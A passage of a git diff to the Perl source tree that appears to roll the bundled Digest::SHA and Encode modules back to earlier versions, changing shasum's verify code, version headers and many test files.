$_ eq $modesym } ('*', ' ', 'U', '^', 'p'); unless ($digest = sumfile($fname)) { $rsp .= "FAILED open or read\n"; $err = 1; $read_errs++; } - elsif (lc($sum) eq $digest) { - $rsp .= "OK\n"; - $isOK = 1; - $num_OK++; + else { + if (lc($sum) eq $digest) { $rsp .= "OK\n" } + else { $rsp .= "FAILED\n"; $err = 1; $match_errs++ } } - else { $rsp .= "FAILED\n"; $err = 1; $match_errs++ } - print $rsp unless ($status || ($quiet && $isOK)); + print $rsp unless $status; } close(FH); - if (! $num_fmt_OK) { + unless ($num_files) { + $alg = 1 unless defined $alg; warn("shasum: $checkfile: no properly formatted " . - "SHA checksum lines found\n"); + "SHA$alg checksum lines found\n"); $err = 1; } elsif (! $status) { @@ -309,11 +308,6 @@ sub verify { warn("shasum: WARNING: $match_errs computed checksum" . ($match_errs>1?'s':'') . " did NOT match\n") if $match_errs; } - if ($ignore_missing && ! $num_OK && $num_fmt_OK) { - warn("shasum: $checkfile: no file was verified\n") - unless $status; - $err = 1; - } return($err == 0); } @@ -321,17 +315,17 @@ sub verify { ## Verify or compute SHA checksums of requested files my($file, $digest); + my $STATUS = 0; for $file (@ARGV) { if ($check) { $STATUS = 1 unless verify($file) } elsif ($digest = sumfile($file)) { if ($file =~ /[\n\\]/) { $file =~ s/\\/\\\\/g; $file =~ s/\n/\\n/g; - print "\\"; + $digest = "\\$digest"; } - unless ($tag) { print "$digest $modesym$file\n" } - else { print "$Tag{$alg} ($file) = $digest\n" } + print "$digest $modesym", "$file\n"; } else { $STATUS = 1 } } -exit($STATUS); +exit($STATUS) diff --git a/cpan/Digest-SHA/src/sha.c b/cpan/Digest-SHA/src/sha.c index 79557fff8fcf..fae9bb4f6e2c 100644 --- a/cpan/Digest-SHA/src/sha.c +++ b/cpan/Digest-SHA/src/sha.c @@ -3,10 +3,10 @@ * * Ref: NIST FIPS PUB 180-4 Secure Hash Standard * - * Copyright (C) 2003-2017 Mark Shelor, All Rights Reserved + * Copyright (C) 2003-2016 Mark Shelor, All Rights Reserved * - * Version: 6.01 - * Mon Dec 25 00:08:08 MST 2017 + * Version: 5.96 + * Wed Jul 27 20:04:34 MST 2016 * */ diff --git a/cpan/Digest-SHA/src/sha.h b/cpan/Digest-SHA/src/sha.h index 91f181b0be04..ca34741342ef 100644 --- a/cpan/Digest-SHA/src/sha.h +++ b/cpan/Digest-SHA/src/sha.h @@ -3,10 +3,10 @@ * * Ref: NIST FIPS PUB 180-4 Secure Hash Standard * - * Copyright (C) 2003-2017 Mark Shelor, All Rights Reserved + * Copyright (C) 2003-2016 Mark Shelor, All Rights Reserved * - * Version: 6.01 - * Mon Dec 25 00:08:08 MST 2017 + * Version: 5.96 + * Wed Jul 27 20:04:34 MST 2016 * */ diff --git a/cpan/Digest-SHA/src/sha64bit.c b/cpan/Digest-SHA/src/sha64bit.c index 4d6e9dd4040c..860b52c0ef48 100644 --- a/cpan/Digest-SHA/src/sha64bit.c +++ b/cpan/Digest-SHA/src/sha64bit.c @@ -3,10 +3,10 @@ * * Ref: NIST FIPS PUB 180-4 Secure Hash Standard * - * Copyright (C) 2003-2017 Mark Shelor, All Rights Reserved + * Copyright (C) 2003-2016 Mark Shelor, All Rights Reserved * - * Version: 6.01 - * Mon Dec 25 00:08:08 MST 2017 + * Version: 5.96 + * Wed Jul 27 20:04:34 MST 2016 * */ diff --git a/cpan/Digest-SHA/src/sha64bit.h b/cpan/Digest-SHA/src/sha64bit.h index 2b8dc55a9b64..aef4426efe7f 100644 --- a/cpan/Digest-SHA/src/sha64bit.h +++ b/cpan/Digest-SHA/src/sha64bit.h @@ -3,10 +3,10 @@ * * Ref: NIST FIPS PUB 180-4 Secure Hash Standard * - * Copyright (C) 2003-2017 Mark Shelor, All Rights Reserved + * Copyright (C) 2003-2016 Mark Shelor, All Rights Reserved * - * Version: 6.01 - * Mon Dec 25 00:08:08 MST 2017 + * Version: 5.96 + * Wed Jul 27 20:04:34 MST 2016 * * The following macros supply placeholder values that enable the * sha.c module to successfully compile when 64-bit integer types diff --git a/cpan/Digest-SHA/t/allfcns.t b/cpan/Digest-SHA/t/allfcns.t index c2de21cce25b..9f2a9ba53440 100644 --- a/cpan/Digest-SHA/t/allfcns.t +++ b/cpan/Digest-SHA/t/allfcns.t @@ -1,15 +1,29 @@ use strict; -use Digest::SHA qw( - hmac_sha1 hmac_sha1_base64 hmac_sha1_hex - hmac_sha224 hmac_sha224_base64 hmac_sha224_hex - hmac_sha256 hmac_sha256_base64 hmac_sha256_hex - hmac_sha384 hmac_sha384_base64 hmac_sha384_hex - hmac_sha512 hmac_sha512_base64 hmac_sha512_hex - sha1 sha1_base64 sha1_hex - sha224 sha224_base64 sha224_hex - sha256 sha256_base64 sha256_hex - sha384 sha384_base64 sha384_hex - sha512 sha512_base64 sha512_hex); + +my $MODULE; + +BEGIN { + $MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl"; + eval "require $MODULE" || die $@; + $MODULE->import(qw( + hmac_sha1 hmac_sha1_base64 hmac_sha1_hex + hmac_sha224 hmac_sha224_base64 hmac_sha224_hex + hmac_sha256 hmac_sha256_base64 hmac_sha256_hex + hmac_sha384 hmac_sha384_base64 hmac_sha384_hex + hmac_sha512 hmac_sha512_base64 hmac_sha512_hex + sha1 sha1_base64 sha1_hex + sha224 sha224_base64 sha224_hex + sha256 sha256_base64 sha256_hex + sha384 sha384_base64 sha384_hex + sha512 sha512_base64 sha512_hex)); +} + +BEGIN { + if ($ENV{PERL_CORE}) { + chdir 't' if -d 't'; + @INC = '../lib'; + } +} print "1..1\n"; diff --git a/cpan/Digest-SHA/t/base64.t b/cpan/Digest-SHA/t/base64.t index 6ebba00f3bdf..2cafdbd8dec1 100644 --- a/cpan/Digest-SHA/t/base64.t +++ b/cpan/Digest-SHA/t/base64.t @@ -1,6 +1,20 @@ use strict; -use Digest::SHA qw(sha1_base64 sha224_base64 sha256_base64 - sha384_base64 sha512_base64); + +my $MODULE; + +BEGIN { + $MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl"; + eval "require $MODULE" || die $@; + $MODULE->import(qw(sha1_base64 sha224_base64 sha256_base64 + sha384_base64 sha512_base64)); +} + +BEGIN { + if ($ENV{PERL_CORE}) { + chdir 't' if -d 't'; + @INC = '../lib'; + } +} my $in = "abc"; my @out = map { eval } ; diff --git a/cpan/Digest-SHA/t/bitbuf.t b/cpan/Digest-SHA/t/bitbuf.t index 4cf4032d98c6..78b499baba9c 100644 --- a/cpan/Digest-SHA/t/bitbuf.t +++ b/cpan/Digest-SHA/t/bitbuf.t @@ -1,5 +1,19 @@ use strict; -use Digest::SHA; + +my $MODULE; + +BEGIN { + $MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl"; + eval "require $MODULE" || die $@; + $MODULE->import(qw()); +} + +BEGIN { + if ($ENV{PERL_CORE}) { + chdir 't' if -d 't'; + @INC = '../lib'; + } +} my $numtests = 4; print "1..$numtests\n"; @@ -9,7 +23,7 @@ print "1..$numtests\n"; my $ONEBITS = pack("B*", "1" x 80000); my $digest = "11003389959355c2773af6b0f36d842fe430ec49"; -my $state = Digest::SHA->new("sHa1"); +my $state = $MODULE->new("sHa1"); my $testnum = 1; $state->add_bits($ONEBITS, 80000); @@ -30,7 +44,7 @@ print "ok ", $testnum++, "\n"; # create a buffer-alignment nuisance -$state = Digest::SHA->new("1"); +$state = $MODULE->new("1"); $state->add_bits($ONEBITS, 1); for (1 .. 99) { @@ -46,7 +60,7 @@ print "ok ", $testnum++, "\n"; my $reps = 80000; my $maxbits = 8 * 127; -$state = Digest::SHA->new(1); +$state = $MODULE->new(1); while ($reps > $maxbits) { my $num = int(rand($maxbits)); diff --git a/cpan/Digest-SHA/t/bitorder.t b/cpan/Digest-SHA/t/bitorder.t index 750f3b5a266e..2cd2dbf56b9e 100644 --- a/cpan/Digest-SHA/t/bitorder.t +++ b/cpan/Digest-SHA/t/bitorder.t @@ -1,18 +1,29 @@ use strict; -use Digest::SHA; -my $numtests = 2; -print "1..$numtests\n"; +my $MODULE; + +BEGIN { + $MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl"; + eval "require $MODULE" || die $@; + $MODULE->import(qw()); +} + +BEGIN { + if ($ENV{PERL_CORE}) { + chdir 't' if -d 't'; + @INC = '../lib'; + } +} -my $testnum = 1; -my $s1 = Digest::SHA->new; -my $s2 = Digest::SHA->new; +my $s1 = $MODULE->new; +my $s2 = $MODULE->new; my $d1 = $s1->add_bits("110")->hexdigest; my $d2 = $s2->add_bits("1")->add_bits("1")->add_bits("0")->hexdigest; -print "not " unless $d1 eq $d2; -print "ok ", $testnum++, "\n"; -$d1 = $s1->add_bits("111100001010")->hexdigest; -$d2 = $s2->add_bits("\xF0\xA0", 12)->hexdigest; -print "not " unless $d1 eq $d2; -print "ok ", $testnum++, "\n"; +my $numtests = 1; +print "1..$numtests\n"; + +for (1 .. $numtests) { + print "not " unless $d1 eq $d2; + print "ok ", $_, "\n"; +} diff --git a/cpan/Digest-SHA/t/fips180-4.t b/cpan/Digest-SHA/t/fips180-4.t index 161a9346f216..78feb8d6c847 100644 --- a/cpan/Digest-SHA/t/fips180-4.t +++ b/cpan/Digest-SHA/t/fips180-4.t @@ -1,7 +1,22 @@ use strict; -use Digest::SHA qw(sha512_hex sha512224_hex sha512256_hex); + +my $MODULE; + +BEGIN { + $MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl"; + eval "require $MODULE" || die $@; + $MODULE->import(qw(sha512_hex sha512224_hex sha512256_hex)); +} + +BEGIN { + if ($ENV{PERL_CORE}) { + chdir 't' if -d 't'; + @INC = '../lib'; + } +} my @vecs = map { eval } ; +# $#vecs -= 2 if $MODULE eq "Digest::SHA::PurePerl"; my $numtests = scalar(@vecs) / 2; print "1..$numtests\n"; diff --git a/cpan/Digest-SHA/t/fips198.t b/cpan/Digest-SHA/t/fips198.t index da0c15667c7f..f6f5007f5f78 100644 --- a/cpan/Digest-SHA/t/fips198.t +++ b/cpan/Digest-SHA/t/fips198.t @@ -1,5 +1,19 @@ use strict; -use Digest::SHA qw(hmac_sha1_hex); + +my $MODULE; + +BEGIN { + $MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl"; + eval "require $MODULE" || die $@; + $MODULE->import(qw(hmac_sha1_hex)); +} + +BEGIN { + if ($ENV{PERL_CORE}) { + chdir 't' if -d 't'; + @INC = '../lib'; + } +} my @data = map { "Sample #$_" } (1 .. 4); diff --git a/cpan/Digest-SHA/t/gg.t b/cpan/Digest-SHA/t/gg.t index af0f5d6fa71d..6ca8f7fb9c8b 100644 --- a/cpan/Digest-SHA/t/gg.t +++ b/cpan/Digest-SHA/t/gg.t @@ -1,7 +1,21 @@ # Test against short bitwise vectors from Jim Gillogly and Francois Grieu use strict; -use Digest::SHA; + +my $MODULE; + +BEGIN { + $MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl"; + eval "require $MODULE" || die $@; + $MODULE->import(qw()); +} + +BEGIN { + if ($ENV{PERL_CORE}) { + chdir 't' if -d 't'; + @INC = '../lib'; + } +} # SHA-1 Test Vectors # @@ -43,7 +57,7 @@ my $numtests = scalar(@vecs) / 4; print "1..$numtests\n"; my $testnum = 1; -my $sha = Digest::SHA->new(1); +my $sha = $MODULE->new(1); while (@vecs) { my $frag = shift @vecs; diff --git a/cpan/Digest-SHA/t/gglong.t b/cpan/Digest-SHA/t/gglong.t index 5551eefff888..044799f69e47 100644 --- a/cpan/Digest-SHA/t/gglong.t +++ b/cpan/Digest-SHA/t/gglong.t @@ -1,7 +1,21 @@ # Test against long bitwise vectors from Jim Gillogly and Francois Grieu use strict; -use Digest::SHA; + +my $MODULE; + +BEGIN { + $MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl"; + eval "require $MODULE" || die $@; + $MODULE->import(qw()); +} + +BEGIN { + if ($ENV{PERL_CORE}) { + chdir 't' if -d 't'; + @INC = '../lib'; + } +} # SHA-1 Test Vectors # @@ -43,7 +57,7 @@ for (1 .. 8) { my $line = ; $STATE011 .= $line } my $testnum = 1; print "1..", scalar(@vec110)/2 + scalar(@vec011)/2, "\n"; -my $state110 = Digest::SHA->putstate($STATE110); +my $state110 = $MODULE->putstate($STATE110); while (@vec110) { my $state = $state110->clone; $state->add_bits(shift @vec110); @@ -51,7 +65,7 @@ while (@vec110) { print "ok ", $testnum++, "\n"; } -my $state011 = Digest::SHA->putstate($STATE011); +my $state011 = $MODULE->putstate($STATE011); while (@vec011) { my $state = $state011->clone; $state->add_bits(shift @vec011); diff --git a/cpan/Digest-SHA/t/hmacsha.t b/cpan/Digest-SHA/t/hmacsha.t index a4e6f5cb984a..47e65fefbe36 100644 --- a/cpan/Digest-SHA/t/hmacsha.t +++ b/cpan/Digest-SHA/t/hmacsha.t @@ -1,7 +1,21 @@ # HMAC-SHA-256 test vectors from draft-ietf-ipsec-ciph-sha-256-01.txt use strict; -use Digest::SHA qw(hmac_sha256 hmac_sha256_hex); + +my $MODULE; + +BEGIN { + $MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl"; + eval "require $MODULE" || die $@; + $MODULE->import(qw(hmac_sha256 hmac_sha256_hex)); +} + +BEGIN { + if ($ENV{PERL_CORE}) { + chdir 't' if -d 't'; + @INC = '../lib'; + } +} my @data = map { eval } ; diff --git a/cpan/Digest-SHA/t/inheritance.t b/cpan/Digest-SHA/t/inheritance.t index 5880e6e8dd91..d94c23ae1a2a 100644 --- a/cpan/Digest-SHA/t/inheritance.t +++ b/cpan/Digest-SHA/t/inheritance.t @@ -1,11 +1,25 @@ # Adapted from script by Mark Lawrence (ref. rt.cpan.org #94830) use strict; -use Digest::SHA qw(sha1); + +my $MODULE; + +BEGIN { + $MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl"; + eval "require $MODULE" || die $@; + $MODULE->import(qw(sha1)); +} + +BEGIN { + if ($ENV{PERL_CORE}) { + chdir 't' if -d 't'; + @INC = '../lib'; + } +} package P1; use vars qw(@ISA); -@ISA = ("Digest::SHA"); +@ISA = ($MODULE); package main; diff --git a/cpan/Digest-SHA/t/ireland.t b/cpan/Digest-SHA/t/ireland.t index ef1ed3372b14..46499950f4d7 100644 --- a/cpan/Digest-SHA/t/ireland.t +++ b/cpan/Digest-SHA/t/ireland.t @@ -1,17 +1,31 @@ +use strict; + +my $MODULE; + +BEGIN { + $MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl"; + eval "require $MODULE" || die $@; + $MODULE->import(qw()); +} + +BEGIN { + if ($ENV{PERL_CORE}) { + chdir 't' if -d 't'; + @INC = '../lib'; + } +} + # David Ireland's test vector - SHA-256 digest of "a" x 536870912 # Adapted from Julius Duque's original script (t/24-ireland.tmp) # - modified to use state cache via putstate method -use strict; -use Digest::SHA; - print "1..1\n"; my $rsp = "b9045a713caed5dff3d3b783e98d1ce5778d8bc331ee4119d707072312af06a7"; my $sha; -if ($sha = Digest::SHA->putstate(join('', ))) { +if ($sha = $MODULE->putstate(join('', ))) { $sha->add("aa"); print "not " unless $sha->hexdigest eq $rsp; print "ok 1\n"; diff --git a/cpan/Digest-SHA/t/methods.t b/cpan/Digest-SHA/t/methods.t index 1522f99bc3ac..223bc5399a05 100644 --- a/cpan/Digest-SHA/t/methods.t +++ b/cpan/Digest-SHA/t/methods.t @@ -1,24 +1,38 @@ use strict; use FileHandle; -use Digest::SHA; + +my $MODULE; + +BEGIN { + $MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl"; + eval "require $MODULE" || die $@; + $MODULE->import(qw()); +} + +BEGIN { + if ($ENV{PERL_CORE}) { + chdir 't' if -d 't'; + @INC = '../lib'; + } +} my @out = ( "ungWv48Bz+pBQUDeXa4iI7ADYaOWF3qctBD/YfIAFa0", "248d6a61d20638b8e5c026930c3e6039a33ce45964ff2167f6ecedd419db06c1", ); -my $numtests = 6 + scalar @out; +my $numtests = 9 + scalar @out; print "1..$numtests\n"; # attempt to use an invalid algorithm, and check for failure my $testnum = 1; my $NSA = "SHA-42"; # No Such Algorithm -print "not " if Digest::SHA->new($NSA); +print "not " if $MODULE->new($NSA); print "ok ", $testnum++, "\n"; my $tempfile = "methods.tmp"; -END { unlink $tempfile if $tempfile } +END { 1 while unlink $tempfile } # test OO methods using first two SHA-256 vectors from NIST @@ -27,7 +41,7 @@ binmode($fh); print $fh "bcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq"; $fh->close; -my $sha = Digest::SHA->new()->reset("SHA-256")->new(); +my $sha = $MODULE->new()->reset("SHA-256")->new(); $sha->add_bits("a", 5)->add_bits("001"); my $rsp = shift(@out); @@ -58,6 +72,35 @@ $fh->close; print "not " unless $sha->addfile($tempfile, "b")->hexdigest eq $rsp; print "ok ", $testnum++, "\n"; + # test addfile portable mode + +$fh = FileHandle->new($tempfile, "w"); +binmode($fh); +print $fh "abc\012" x 2048; # using UNIX newline +$fh->close; + +print "not " unless $sha->new(1)->addfile($tempfile, "p")->hexdigest eq + "d449e19c1b0b0c191294c8dc9fa2e4a6ff77fc51"; +print "ok ", $testnum++, "\n"; + +$fh = FileHandle->new($tempfile, "w"); +binmode($fh); +print $fh "abc\015\012" x 2048; # using DOS/Windows newline +$fh->close; + +print "not " unless $sha->new(1)->addfile($tempfile, "p")->hexdigest eq + "d449e19c1b0b0c191294c8dc9fa2e4a6ff77fc51"; +print "ok ", $testnum++, "\n"; + +$fh = FileHandle->new($tempfile, "w"); +binmode($fh); +print $fh "abc\015" x 2048; # using early-Mac newline +$fh->close; + +print "not " unless $sha->new(1)->addfile($tempfile, "p")->hexdigest eq + "d449e19c1b0b0c191294c8dc9fa2e4a6ff77fc51"; +print "ok ", $testnum++, "\n"; + # test addfile "universal newlines" mode $fh = FileHandle->new($tempfile, "w"); diff --git a/cpan/Digest-SHA/t/nistbit.t b/cpan/Digest-SHA/t/nistbit.t index eef1271cc70d..91dc2804d9aa 100644 --- a/cpan/Digest-SHA/t/nistbit.t +++ b/cpan/Digest-SHA/t/nistbit.t @@ -1,7 +1,21 @@ # Test against SHA-1 Sample Vectors from NIST use strict; -use Digest::SHA; + +my $MODULE; + +BEGIN { + $MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl"; + eval "require $MODULE" || die $@; + $MODULE->import(qw()); +} + +BEGIN { + if ($ENV{PERL_CORE}) { + chdir 't' if -d 't'; + @INC = '../lib'; + } +} my $nist_hashes = <new(1); +my $sha = $MODULE->new(1); for (@lines) { next unless /^[\d ^]/; $message .= $_; diff --git a/cpan/Digest-SHA/t/nistbyte.t b/cpan/Digest-SHA/t/nistbyte.t index 1bdafa6bebe3..ce133d646757 100644 --- a/cpan/Digest-SHA/t/nistbyte.t +++ b/cpan/Digest-SHA/t/nistbyte.t @@ -1,7 +1,21 @@ # Test against SHA-1 Sample Vectors from NIST use strict; -use Digest::SHA; + +my $MODULE; + +BEGIN { + $MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl"; + eval "require $MODULE" || die $@; + $MODULE->import(qw()); +} + +BEGIN { + if ($ENV{PERL_CORE}) { + chdir 't' if -d 't'; + @INC = '../lib'; + } +} my $nist_hashes = <new(1); +my $sha = $MODULE->new(1); for (@lines) { next unless /^[\d ^]/; $message .= $_; diff --git a/cpan/Digest-SHA/t/rfc2202.t b/cpan/Digest-SHA/t/rfc2202.t index 300662503077..3efb50b5a50c 100644 --- a/cpan/Digest-SHA/t/rfc2202.t +++ b/cpan/Digest-SHA/t/rfc2202.t @@ -1,5 +1,19 @@ use strict; -use Digest::SHA qw(hmac_sha1_hex); + +my $MODULE; + +BEGIN { + $MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl"; + eval "require $MODULE" || die $@; + $MODULE->import(qw(hmac_sha1_hex)); +} + +BEGIN { + if ($ENV{PERL_CORE}) { + chdir 't' if -d 't'; + @INC = '../lib'; + } +} my @data = map { eval } ; diff --git a/cpan/Digest-SHA/t/sha1.t b/cpan/Digest-SHA/t/sha1.t index 2c8313dc0af8..ed2c68edcfea 100644 --- a/cpan/Digest-SHA/t/sha1.t +++ b/cpan/Digest-SHA/t/sha1.t @@ -1,7 +1,22 @@ use strict; -use Digest::SHA qw(sha1_hex); + +my $MODULE; + +BEGIN { + $MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl"; + eval "require $MODULE" || die $@; + $MODULE->import(qw(sha1_hex)); +} + +BEGIN { + if ($ENV{PERL_CORE}) { + chdir 't' if -d 't'; + @INC = '../lib'; + } +} my @vecs = map { eval } ; +$#vecs -= 2 if $MODULE eq "Digest::SHA::PurePerl"; my $numtests = scalar(@vecs) / 2; print "1..$numtests\n"; diff --git a/cpan/Digest-SHA/t/sha224.t b/cpan/Digest-SHA/t/sha224.t index ab70b31e6a3b..e94820d485ee 100644 --- a/cpan/Digest-SHA/t/sha224.t +++ b/cpan/Digest-SHA/t/sha224.t @@ -1,7 +1,22 @@ use strict; -use Digest::SHA qw(sha224_hex); + +my $MODULE; + +BEGIN { + $MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl"; + eval "require $MODULE" || die $@; + $MODULE->import(qw(sha224_hex)); +} + +BEGIN { + if ($ENV{PERL_CORE}) { + chdir 't' if -d 't'; + @INC = '../lib'; + } +} my @vecs = map { eval } ; +$#vecs -= 2 if $MODULE eq "Digest::SHA::PurePerl"; my $numtests = scalar(@vecs) / 2; print "1..$numtests\n"; diff --git a/cpan/Digest-SHA/t/sha256.t b/cpan/Digest-SHA/t/sha256.t index 72c1e8d59346..78aeb9dc3d10 100644 --- a/cpan/Digest-SHA/t/sha256.t +++ b/cpan/Digest-SHA/t/sha256.t @@ -1,7 +1,22 @@ use strict; -use Digest::SHA qw(sha256_hex); + +my $MODULE; + +BEGIN { + $MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl"; + eval "require $MODULE" || die $@; + $MODULE->import(qw(sha256_hex)); +} + +BEGIN { + if ($ENV{PERL_CORE}) { + chdir 't' if -d 't'; + @INC = '../lib'; + } +} my @vecs = map { eval } ; +$#vecs -= 2 if $MODULE eq "Digest::SHA::PurePerl"; my $numtests = scalar(@vecs) / 2; print "1..$numtests\n"; diff --git a/cpan/Digest-SHA/t/sha384.t b/cpan/Digest-SHA/t/sha384.t index 273944920e9c..9d026ae1ff5d 100644 --- a/cpan/Digest-SHA/t/sha384.t +++ b/cpan/Digest-SHA/t/sha384.t @@ -1,7 +1,22 @@ use strict; -use Digest::SHA qw(sha384_hex); + +my $MODULE; + +BEGIN { + $MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl"; + eval "require $MODULE" || die $@; + $MODULE->import(qw(sha384_hex)); +} + +BEGIN { + if ($ENV{PERL_CORE}) { + chdir 't' if -d 't'; + @INC = '../lib'; + } +} my @vecs = map { eval } ; +$#vecs -= 2 if $MODULE eq "Digest::SHA::PurePerl"; my $numtests = scalar(@vecs) / 2; print "1..$numtests\n"; diff --git a/cpan/Digest-SHA/t/sha512.t b/cpan/Digest-SHA/t/sha512.t index d417f6649add..fcfe76696112 100644 --- a/cpan/Digest-SHA/t/sha512.t +++ b/cpan/Digest-SHA/t/sha512.t @@ -1,7 +1,22 @@ use strict; -use Digest::SHA qw(sha512_hex); + +my $MODULE; + +BEGIN { + $MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl"; + eval "require $MODULE" || die $@; + $MODULE->import(qw(sha512_hex)); +} + +BEGIN { + if ($ENV{PERL_CORE}) { + chdir 't' if -d 't'; + @INC = '../lib'; + } +} my @vecs = map { eval } ; +$#vecs -= 2 if $MODULE eq "Digest::SHA::PurePerl"; my $numtests = scalar(@vecs) / 2; print "1..$numtests\n"; diff --git a/cpan/Digest-SHA/t/state.t b/cpan/Digest-SHA/t/state.t index ff622bac96ac..83e25408189e 100644 --- a/cpan/Digest-SHA/t/state.t +++ b/cpan/Digest-SHA/t/state.t @@ -1,5 +1,19 @@ use strict; -use Digest::SHA qw(sha384_hex sha512_hex); + +my $MODULE; + +BEGIN { + $MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl"; + eval "require $MODULE" || die $@; + $MODULE->import(qw(sha384_hex sha512_hex)); +} + +BEGIN { + if ($ENV{PERL_CORE}) { + chdir 't' if -d 't'; + @INC = '../lib'; + } +} my @sharsp = ( "34aa973cd4c4daa4f61eeb2bdbad27316534016f", @@ -34,7 +48,7 @@ while (@sharsp) { } my $digest; my $state; - unless ($state = Digest::SHA->putstate(shift @states)) { + unless ($state = $MODULE->putstate(shift @states)) { print "not ok ", $testnum++, "\n"; next; } diff --git a/cpan/Digest-SHA/t/unicode.t b/cpan/Digest-SHA/t/unicode.t index 9f0107a404eb..1e7bd13d5318 100644 --- a/cpan/Digest-SHA/t/unicode.t +++ b/cpan/Digest-SHA/t/unicode.t @@ -1,5 +1,19 @@ use strict; -use Digest::SHA qw(sha1_hex); + +my $MODULE; + +BEGIN { + $MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl"; + eval "require $MODULE" || die $@; + $MODULE->import(qw(sha1_hex)); +} + +BEGIN { + if ($ENV{PERL_CORE}) { + chdir 't' if -d 't'; + @INC = '../lib'; + } +} my $skip = $] < 5.006 ? 1 : 0; diff --git a/cpan/Digest-SHA/t/woodbury.t b/cpan/Digest-SHA/t/woodbury.t index 95527006cdb2..afcb731962ae 100644 --- a/cpan/Digest-SHA/t/woodbury.t +++ b/cpan/Digest-SHA/t/woodbury.t @@ -3,7 +3,21 @@ # Vectors and initial script courtesy of Adam Woodbury, The MITRE Corporation use strict; -use Digest::SHA qw(hmac_sha256 hmac_sha384 hmac_sha512); + +my $MODULE; + +BEGIN { + $MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl"; + eval "require $MODULE" || die $@; + $MODULE->import(qw(hmac_sha256 hmac_sha384 hmac_sha512)); +} + +BEGIN { + if ($ENV{PERL_CORE}) { + chdir 't' if -d 't'; + @INC = '../lib'; + } +} my @plex = map { eval } ; diff --git a/cpan/Encode/Encode.pm b/cpan/Encode/Encode.pm index f90f929f0733..57b4292279c0 100644 --- a/cpan/Encode/Encode.pm +++ b/cpan/Encode/Encode.pm @@ -1,21 +1,16 @@ # -# $Id: Encode.pm,v 2.97 2018/02/21 12:14:24 dankogai Exp $ +# $Id: Encode.pm,v 2.88 2016/11/29 23:30:30 dankogai Exp dankogai $ # package Encode; use strict; use warnings; +our $VERSION = sprintf "%d.%02d", q$Revision: 2.88 $ =~ /(\d+)/g; use constant DEBUG => !!$ENV{PERL_ENCODE_DEBUG}; -our $VERSION; -BEGIN { - $VERSION = sprintf "%d.%02d", q$Revision: 2.97 $ =~ /(\d+)/g; - require XSLoader; - XSLoader::load( __PACKAGE__, $VERSION ); -} +use XSLoader (); +XSLoader::load( __PACKAGE__, $VERSION ); use Exporter 5.57 'import'; -our @CARP_NOT = qw(Encode::Encoder); - # Public, encouraged API is exported by default our @EXPORT = qw( @@ -49,10 +44,7 @@ our %EXPORT_TAGS = ( our $ON_EBCDIC = ( ord("A") == 193 ); -use Encode::Alias (); -use Encode::MIME::Name; - -use Storable; +use Encode::Alias; # Make a %Encoding package variable to allow a certain amount of cheating our %Encoding; @@ -104,9 +96,6 @@ sub define_encoding { my $alias = shift; define_alias( $alias, $obj ); } - my $class = ref($obj); - push @Encode::CARP_NOT, $class unless grep { $_ eq $class } @Encode::CARP_NOT; - push @Encode::Encoding::CARP_NOT, $class unless grep { $_ eq $class } @Encode::Encoding::CARP_NOT; return $obj; } @@ -138,15 +127,6 @@ sub getEncoding { return; } -# HACK: These two functions must be defined in Encode and because of -# cyclic dependency between Encode and Encode::Alias, Exporter does not work -sub find_alias { - goto &Encode::Alias::find_alias; -} -sub define_alias { - goto &Encode::Alias::define_alias; -} - sub find_encoding($;$) { my ( $name, $skip_external ) = @_; return __PACKAGE__->getEncoding( $name, $skip_external ); @@ -154,6 +134,8 @@ sub find_encoding($;$) { sub find_mime_encoding($;$) { my ( $mime_name, $skip_external ) = @_; + eval { require Encode::MIME::Name; }; + $@ and return; my $name = Encode::MIME::Name::get_encode_name( $mime_name ); return find_encoding( $name, $skip_external ); } @@ -167,6 +149,8 @@ sub resolve_alias($) { sub clone_encoding($) { my $obj = find_encoding(shift); ref $obj or return; + eval { require Storable }; + $@ and return; return Storable::dclone($obj); } @@ -198,7 +182,7 @@ sub encode($$;$) { else { $octets = $enc->encode( $string, $check ); } - $_[1] = $string if $check and !ref $check and !( $check & LEAVE_SRC ); + $_[1] = $string if $check and !ref $check and !( $check & LEAVE_SRC() ); return $octets; } *str2bytes = \&encode; @@ -227,7 +211,7 @@ sub decode($$;$) { else { $string = $enc->decode( $octets, $check ); } - $_[1] = $octets if $check and !ref $check and !( $check & LEAVE_SRC ); + $_[1] = $octets if $check and !ref $check and !( $check & LEAVE_SRC() ); return $string; } *bytes2str = \&decode; @@ -294,87 +278,133 @@ sub decode_utf8($;$) { $check ||= 0; $utf8enc ||= find_encoding('utf8'); my $string = $utf8enc->decode( $octets, $check ); - $_[0] = $octets if $check and !ref $check and !( $check & LEAVE_SRC ); + $_[0] = $octets if $check and !ref $check and !( $check & LEAVE_SRC() ); return $string; } -onBOOT; - -if ($ON_EBCDIC) { - package Encode::UTF_EBCDIC; - use parent 'Encode::Encoding'; - my $obj = bless { Name => "UTF_EBCDIC" } => "Encode::UTF_EBCDIC"; - Encode::define_encoding($obj, 'Unicode'); - sub decode { - my ( undef, $str, $chk ) = @_; - my $res = ''; - for ( my $i = 0 ; $i < length($str) 